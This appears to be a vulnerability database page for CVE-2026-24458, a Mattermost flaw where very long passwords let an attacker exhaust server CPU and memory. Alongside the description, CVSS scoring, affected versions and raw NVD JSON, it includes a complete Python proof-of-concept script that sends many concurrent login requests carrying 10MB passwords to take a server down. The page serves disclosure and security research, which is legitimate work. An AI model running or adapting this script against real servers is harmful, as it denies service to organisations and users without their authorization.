CVE-2026-24458

Description

Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to properly handle very long passwords, which allows an attacker to overload the server CPU and memory via executing login attempts with multi-megabyte passwords. Mattermost Advisory ID: MMSA-2026-00587

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE

Mattermost 11.3.x <= 11.3.0

Mattermost 11.2.x <= 11.2.2

Mattermost 10.11.x <= 10.11.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2026-24458 PoC - Mattermost DoS via oversized password
Note: This PoC is for educational and authorized testing purposes only.
"""
import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed

TARGET_URL = "http://target-mattermost-server/api/v4/login"
# Generate multi-megabyte password payload
MEGA_BYTE = 1024 * 1024
PAYLOAD_SIZE_MB = 10  # 10MB password

def create_oversized_password(size_mb):
    """Generate oversized password payload"""
    return "A" * (size_mb * MEGA_BYTE)

def send_login_request(username, password):
    """Send login request with oversized password"""
    data = {
        "login_id": username,
        "password": password
    }
    headers = {
        "Content-Type": "application/json"
    }
    try:
        response = requests.post(TARGET_URL, json=data, headers=headers, timeout=30)
        return response.status_code
    except requests.exceptions.RequestException as e:
        return f"Error: {e}"

def dos_attack(target_user="admin", num_requests=100, workers=10):
    """
    Execute DoS attack by sending multiple login requests
    with oversized passwords
    """
    print(f"[*] Starting DoS attack on {TARGET_URL}")
    print(f"[*] Payload size: {PAYLOAD_SIZE_MB}MB per request")
    print(f"[*] Sending {num_requests} requests with {workers} workers")
    
    password = create_oversized_password(PAYLOAD_SIZE_MB)
    
    start_time = time.time()
    with ThreadPoolExecutor(max_workers=workers) as executor:
        futures = [
            executor.submit(send_login_request, target_user, password)
            for _ in range(num_requests)
        ]
        for i, future in enumerate(as_completed(futures), 1):
            status = future.result()
            print(f"[+] Request {i}/{num_requests} completed - Status: {status}")
    
    elapsed = time.time() - start_time
    print(f"[*] Attack completed in {elapsed:.2f} seconds")

if __name__ == "__main__":
    if len(sys.argv) > 1:
        TARGET_URL = sys.argv[1]
    dos_attack()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24458
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24458
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24458/
[4] VulDB https://vuldb.com/cve/CVE-2026-24458
[5] https://mattermost.com/security-updates

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24458", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:16.573", "lastModified": "2026-03-18T18:14:11.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to properly handle very long passwords, which allows an attacker to overload the server CPU and memory via executing login attempts with multi-megabyte passwords. Mattermost Advisory ID: MMSA-2026-00587"}, {"lang": "es", "value": "Las versiones de Mattermost 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 no manejan correctamente contraseñas muy largas, lo que permite a un atacante sobrecargar la CPU y la memoria del servidor mediante la ejecución de intentos de inicio de sesión con contraseñas de varios megabytes. ID de Aviso de Mattermost: MMSA-2026-00587"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.11", "matchCriteriaId": "B6E5F368-358C-429B-8F04-3C8DF4A71A91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.3", "matchCriteriaId": "7F64C167-943D-4F3F-9374-BCC8DECB3881"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "11.3.1", "matchCriteriaId": "945A6E29-209F-4992-8692-BEF63DCB6B98"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}